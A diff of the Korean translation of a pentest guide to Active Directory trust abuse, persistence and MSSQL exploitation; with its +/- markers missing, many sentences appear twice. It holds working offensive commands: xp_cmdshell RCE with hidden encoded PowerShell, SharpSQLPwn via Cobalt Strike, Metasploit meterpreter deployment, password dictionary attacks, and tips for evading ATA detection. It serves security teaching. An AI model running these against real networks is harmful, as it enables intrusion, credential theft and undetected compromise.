### DSRM 자격 증명
모든 **도메인 컨트롤러(DC)** 내에는 **로컬 관리자** 계정이 존재합니다. 이러한 머신에서 관리자 권한을 얻으면 **mimikatz**를 사용하여 로컬 관리자 해시를 추출할 수 있습니다. 이후, 이 비밀번호를 **사용할 수 있도록 활성화**하기 위해 레지스트리 수정을 해야 하며, 이를 통해 로컬 관리자 계정에 원격으로 접근할 수 있습니다.
모든 **도메인 컨트롤러 (DC)** 내에는 **로컬 관리자** 계정이 존재합니다. 이러한 머신에서 관리자 권한을 얻으면, **mimikatz**를 사용하여 로컬 관리자 해시를 추출할 수 있습니다. 이후, 이 비밀번호를 **사용할 수 있도록** 레지스트리 수정을 해야 하며, 이를 통해 로컬 관리자 계정에 원격으로 접근할 수 있습니다.
{{#ref}}
dsrm-credentials.md
@ -459,7 +462,7 @@ acl-persistence-abuse/
### 보안 설명자
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대해 매우 흥미로운 권한을 얻을 수 있습니다.
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대한 매우 흥미로운 권한을 얻을 수 있습니다.
{{#ref}}
security-descriptors.md
@ -473,10 +476,10 @@ security-descriptors.md
skeleton-key.md
{{#endref}}
### 사용자 지정 SSP
### 사용자 정의 SSP
[SSP(보안 지원 제공자)가 무엇인지 여기에서 알아보세요.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
자신의 **SSP**를 생성하여 머신에 접근하는 데 사용되는 **자격 증명**을 **명확한 텍스트**로 **캡처**할 수 있습니다.
[SSP (Security Support Provider)가 무엇인지 여기에서 알아보세요.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
자신의 **SSP**를 생성하여 **명확한 텍스트**로 머신에 접근하는 데 사용되는 **자격 증명**을 **캡처**할 수 있습니다.
{{#ref}}
custom-ssp.md
@ -485,7 +488,7 @@ custom-ssp.md
### DCShadow
AD에 **새 도메인 컨트롤러**를 등록하고 이를 사용하여 지정된 객체에 **속성**(SIDHistory, SPNs...)을 **푸시**합니다. 이 과정에서 **수정**에 대한 **로그**를 남기지 않습니다. **DA** 권한이 필요하며 **루트 도메인** 내에 있어야 합니다.\
잘못된 데이터를 사용하면 매우 불쾌한 로그가 나타날 수 있습니다.
잘못된 데이터를 사용하면, 매우 불쾌한 로그가 나타날 수 있습니다.
{{#ref}}
dcshadow.md
@ -508,31 +511,31 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 특정 **키**를 교환하고 유지하여 신뢰의 무결성을 보장합니다.
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **인터-리얼름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-리얼름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
**단계**:
1. **도메인 1**의 **클라이언트 컴퓨터**가 **NTLM 해시**를 사용하여 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청합니다.
1. **도메인 1**의 **클라이언트 컴퓨터**가 **NTLM 해시**를 사용하여 **도메인 컨트롤러 (DC1)**에서 **티켓 부여 티켓 (TGT)**을 요청하는 것으로 프로세스가 시작됩니다.
2. 클라이언트가 성공적으로 인증되면 DC1이 새로운 TGT를 발급합니다.
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-리얼름 TGT**를 요청합니다.
4. 인터-리얼름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다.
5. 클라이언트는 인터-리얼름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다.
6. DC2는 공유된 신뢰 키를 사용하여 인터-리얼름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-렐름 TGT**를 요청합니다.
4. 인터-렐름 TGT는 두 방향 도메인 신뢰의 일환으로 DC1과 DC2 간에 공유된 **신뢰 키**로 암호화됩니다.
5. 클라이언트는 인터-렐름 TGT를 **도메인 2의 도메인 컨트롤러 (DC2)**로 가져갑니다.
6. DC2는 공유된 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하려는 도메인 2의 서버에 대한 **티켓 부여 서비스 (TGS)**를 발급합니다.
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하여 도메인 2의 서비스에 접근합니다. 이 TGS는 서버의 계정 해시로 암호화되어 있습니다.
### 다양한 신뢰
**신뢰는 1방향 또는 2방향**일 수 있다는 점에 유의해야 합니다. 2방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **1방향** 신뢰 관계에서는 한 도메인이 **신뢰받는** 도메인이고 다른 도메인이 **신뢰하는** 도메인입니다. 마지막 경우, **신뢰받는 도메인에서 신뢰하는 도메인 내의 리소스에만 접근할 수 있습니다**.
**신뢰는 1방향 또는 2방향**일 수 있다는 점에 유의해야 합니다. 2방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **1방향** 신뢰 관계에서는 한 도메인이 **신뢰받는** 도메인이고 다른 도메인이 **신뢰하는** 도메인입니다. 마지막 경우, **신뢰받는 도메인에서 신뢰하는 도메인 내부의 리소스에만 접근할 수 있습니다**.
도메인 A가 도메인 B를 신뢰하면, A는 신뢰하는 도메인이고 B는 신뢰받는 도메인입니다. 또한, **도메인 A**에서는 이것이 **아웃바운드 신뢰**가 되고, **도메인 B**에서는 이것이 **인바운드 신뢰**가 됩니다.
도메인 A가 도메인 B를 신뢰하면, A는 신뢰하는 도메인이고 B는 신뢰받는 도메인입니다. 또한, **도메인 A**에서는 이것이 **아웃바운드 신뢰**가 되고, **도메인 B**에서는 **인바운드 신뢰**가 됩니다.
**다양한 신뢰 관계**
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이 신뢰를 가집니다. 본질적으로, 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 2방향 전이 신뢰를 가집니다. 본질적으로, 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
- **크로스 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 대상 도메인으로 내려가야 합니다. 크로스 링크를 생성함으로써 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
- **외부 신뢰**: 이는 서로 다른, 관련 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서에 따르면](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), 외부 신뢰는 현재 포리스트와 연결되지 않은 도메인에서 리소스에 접근하는 데 유용합니다. 외부 신뢰를 통해 SID 필터링을 통해 보안이 강화됩니다.
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 양방향 전이성을 보장합니다. [Microsoft의 가이드에서 더 많은 정보를 찾을 수 있습니다.](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, 보안 조치를 강화하기 위해 SID 필터링을 시행합니다.
- **외부 신뢰**: 이는 서로 다른, 관련 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에 따르면, 외부 신뢰는 현재 포리스트와 연결되지 않은 도메인에서 리소스에 접근하는 데 유용합니다. 보안은 외부 신뢰와 함께 SID 필터링을 통해 강화됩니다.
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 2방향 전이성을 보장합니다. [Microsoft의 가이드](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에서 더 많은 정보를 찾을 수 있습니다.
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 2방향 전이 신뢰로, SID 필터링을 적용하여 보안 조치를 강화합니다.
- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경에 맞춰져 있습니다.
#### **신뢰 관계의 다른 차이점**
@ -543,7 +546,7 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
### 공격 경로
1. **신뢰 관계를 열거**합니다.
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스**에 **접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
3. 이 경우 kerberoast가 또 다른 옵션이 될 수 있습니다.
4. **계정을 손상시켜** 도메인 간에 **피벗**할 수 있습니다.
@ -551,10 +554,23 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
- **로컬 그룹 구성원 자격**: 주체는 서버의 "관리자" 그룹과 같은 머신의 로컬 그룹에 추가될 수 있으며, 이를 통해 해당 머신에 대한 상당한 제어를 부여받습니다.
- **외부 도메인 그룹 구성원 자격**: 주체는 외부 도메인 내의 그룹의 구성원이 될 수도 있습니다. 그러나 이 방법의 효과는 신뢰의 성격과 그룹의 범위에 따라 달라집니다.
- **액세스 제어 목록(ACL)**: 주체는 **ACL**에 지정될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)"라는 백서가 귀중한 자료입니다.
- **액세스 제어 목록 (ACL)**: 주체는 **ACL**에 지정될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)"라는 백서가 귀중한 자료입니다.
### 자식-부모 포리스트 권한 상승
### 외부 사용자/그룹 권한 찾기
**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**를 확인하여 도메인 내의 외부 보안 주체를 찾을 수 있습니다. 이는 **외부 도메인/포리스트**의 사용자/그룹이 될 것입니다.
이 정보를 **Bloodhound**에서 확인하거나 powerview를 사용하여 확인할 수 있습니다:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### Child-to-Parent forest privilege escalation
```bash
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
도메인 신뢰를 열거하는 다른 방법:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> **2개의 신뢰할 수 있는 키**가 있습니다. 하나는 _Child --> Parent_를 위한 것이고, 다른 하나는 _Parent_ --> _Child_를 위한 것입니다.\
> 현재 도메인에서 사용된 키를 확인하려면 다음을 사용하세요:
@ -611,7 +639,7 @@ ADCS ESC5 취약점은 공인 키 인프라(PKI) 객체에 대한 제어를 목
자세한 내용은 [ESC5를 통한 DA에서 EA로](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
### 외부 숲 도메인 - 단방향(수신) 또는 양방향
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -621,14 +649,14 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**, 이는 귀하에게 **정의되지 않은 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대한 접근 권한이 있는 주체가 누구인지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이로 인해 **정해지지 않은 권한**을 갖게 됩니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### 외부 포리스트 도메인 - 일방향 (아웃바운드)
```powershell
### 외부 포리스트 도메인 - 단방향 (아웃바운드)
```bash
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
@ -641,7 +669,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
이 시나리오에서 **귀하의 도메인**은 **다른 도메인**의 주체에게 **특권**을 **신뢰**하고 있습니다.
그러나 **도메인이 신뢰받을 때**, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 **신뢰된 비밀번호**를 사용하여 **생성**합니다. 이는 **신뢰하는 도메인의 사용자에 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 특권을 상승시키려는 것이 가능하다는 것을 의미합니다:
그러나 **도메인이 신뢰**될 때, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 **생성**하고 **신뢰된 비밀번호**를 **비밀번호로 사용**합니다. 이는 **신뢰하는 도메인의 사용자에 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 특권을 상승시키려는 것이 가능하다는 것을 의미합니다:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -650,7 +678,7 @@ external-forest-domain-one-way-outbound.md
신뢰된 도메인을 타협하는 또 다른 방법은 도메인 신뢰의 **반대 방향**에 생성된 [**SQL 신뢰 링크**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 그리 흔하지 않습니다).
신뢰된 도메인을 타협하는 또 다른 방법은 **신뢰된 도메인에서 접근할 수 있는** 머신에서 대기하여 **RDP**를 통해 로그인하는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하고 **피해자의 원래 도메인에 접근**할 수 있습니다.\
게다가, 만약 **피해자가 그의 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
게다가, 만약 **피해자가 하드 드라이브를 마운트**했다면, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더에 백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
{{#ref}}
rdp-sessions-abuse.md
@ -660,7 +688,7 @@ rdp-sessions-abuse.md
### **SID 필터링:**
- SID 역사 속성을 활용한 공격의 위험은 SID 필터링에 의해 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다.
- SID 히스토리 속성을 활용한 공격의 위험은 SID 필터링으로 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다.
- 그러나 주의할 점이 있습니다: SID 필터링은 애플리케이션과 사용자 접근을 방해할 수 있어 가끔 비활성화될 수 있습니다.
### **선택적 인증:**
@ -682,27 +710,27 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **자격 증명 보호를 위한 방어 조치**
- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 권장하며, 다른 호스트에서의 사용은 피해야 합니다.
- **서비스 계정 특권**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 특권으로 실행되어서는 안 됩니다.
- **임시 특권 제한**: DA 특권이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 달성할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 제한하는 것이 좋으며, 다른 호스트에서의 사용은 피해야 합니다.
- **서비스 계정 권한**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권한으로 실행되어서는 안 됩니다.
- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 수행할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **기만 기술 구현**
- 기만을 구현하는 것은 비밀번호가 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 유사 사용자 또는 컴퓨터와 같은 함정을 설정하는 것을 포함합니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 특권 그룹에 추가하는 것입니다.
- 기만을 구현하는 것은 비밀번호가 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 유사 사용자 또는 컴퓨터와 같은 함정을 설정하는 것을 포함합니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권한 그룹에 추가하는 것입니다.
- 실용적인 예로는 다음과 같은 도구를 사용하는 것입니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 기만 기술 배포에 대한 더 많은 정보는 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다.
### **기만 식별**
- **사용자 객체의 경우**: 의심스러운 지표에는 비정상적인 ObjectSID, 드문 로그인, 생성 날짜 및 낮은 잘못된 비밀번호 수가 포함됩니다.
- **일반 지표**: 잠재적인 유인물 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구는 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
- **일반 지표**: 잠재적인 기만 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구는 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
### **탐지 시스템 우회**
- **Microsoft ATA 탐지 우회**:
- **사용자 열거**: ATA 탐지를 방지하기 위해 도메인 컨트롤러에서 세션 열거를 피합니다.
- **티켓 가장**: 티켓 생성을 위해 **aes** 키를 사용하면 NTLM으로 다운그레이드하지 않음으로써 탐지를 피할 수 있습니다.
- **DCSync 공격**: ATA 탐지를 피하기 위해 비도메인 컨트롤러에서 실행하는 것이 권장되며, 도메인 컨트롤러에서 직접 실행하면 경고가 발생합니다.
- **티켓 가장하기**: 티켓 생성을 위해 **aes** 키를 사용하면 NTLM으로 다운그레이드하지 않아 탐지를 피할 수 있습니다.
- **DCSync 공격**: ATA 탐지를 피하기 위해 비도메인 컨트롤러에서 실행하는 것이 좋으며, 도메인 컨트롤러에서 직접 실행하면 경고가 발생합니다.
## 참고 문헌

52
src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
View File

@ -1,4 +1,4 @@
# MSSQL AD 남용
# MSSQL AD Abuse
{{#include ../../banners/hacktricks-training.md}}
@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
### Powershell
이 경우에 powershell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)이 매우 유용합니다.
```powershell
```bash
Import-Module .\PowerupSQL.psd1
````
### 도메인 세션 없이 네트워크에서 열거하기
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### 도메인 내부에서 열거하기
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# Try dictionary attack to login
Invoke-SQLAuditWeakLoginPw
# Search SPNs of common software and try the default creds
Get-SQLServerDefaultLoginPw
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
@ -130,11 +136,23 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
## MSSQL 기본 악용
### 데이터베이스 접근
```powershell
```bash
# List databases
Get-SQLInstanceDomain | Get-SQLDatabase
# List tables in a DB you can read
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
# List columns in a table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
# Get some sample data from a column in a table (columns username & passwor din the example)
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
#Dump an instance (a lotof CVSs generated in current dir)
#Dump an instance (a lot of CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
# Search keywords in columns trying to access the MSSQL DBs
@ -144,7 +162,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
### MSSQL RCE
MSSQL 호스트 내에서 **명령을 실행**하는 것도 가능할 수 있습니다.
```powershell
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
@ -158,12 +176,12 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL 신뢰 링크
MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한이 있는 경우, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.
MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.
**데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.**
### Powershell 남용
```powershell
```bash
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
또 다른 유사한 도구는 [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
```bash
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
# Cobalt Strike
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
```
### Metasploit
metasploit을 사용하여 신뢰할 수 있는 링크를 쉽게 확인할 수 있습니다.
@ -202,13 +226,13 @@ metasploit을 사용하여 신뢰할 수 있는 링크를 쉽게 확인할 수
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
metasploit이 MSSQL에서 `openquery()` 함수만 악용하려고 시도한다는 점에 유의하세요 (따라서 `openquery()`로 명령을 실행할 수 없다면, 아래에서 더 자세히 설명하는 `EXECUTE` 방법을 **수동으로** 시도해야 합니다.)
메타스플로잇은 MSSQL에서 `openquery()` 함수만을 악용하려고 시도할 것입니다 (따라서, `openquery()`로 명령을 실행할 수 없다면, 아래에서 더 자세히 설명하는 `EXECUTE` 방법을 **수동으로** 시도해야 합니다.)
### 수동 - Openquery()
**Linux**에서 **sqsh**와 **mssqlclient.py**를 사용하여 MSSQL 콘솔 셸을 얻을 수 있습니다.
**리눅스**에서 **sqsh**와 **mssqlclient.py**를 사용하여 MSSQL 콘솔 셸을 얻을 수 있습니다.
**Windows**에서도 링크를 찾아 수동으로 명령을 실행할 수 있습니다 **MSSQL 클라이언트인** [**HeidiSQL**](https://www.heidisql.com)을 사용하여.
**윈도우**에서도 링크를 찾아 수동으로 명령을 실행할 수 있으며, **MSSQL 클라이언트**로 [**HeidiSQL**](https://www.heidisql.com)을 사용할 수 있습니다.
_윈도우 인증을 사용하여 로그인:_
@ -228,11 +252,11 @@ EXEC sp_linkedservers;
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
> [!WARNING]
> 더블 및 싱글 인용부호가 사용되는 위치를 확인하세요. 이렇게 사용하는 것이 중요합니다.
> 더블 및 싱글 인용부호가 사용되는 위치를 확인하세요. 그렇게 사용하는 것이 중요합니다.
![](<../../images/image (643).png>)
이 신뢰할 수 있는 링크 체인을 수동으로 영원히 계속할 수 있습니다.
이 신뢰할 수 있는 링크 체인을 수동으로 무한히 계속할 수 있습니다.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

68
src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
View File

@ -1,66 +1,66 @@
# Active Directory ACL/ACE 악용
# Active Directory ACLs/ACEs 악용
{{#include ../../../banners/hacktricks-training.md}}
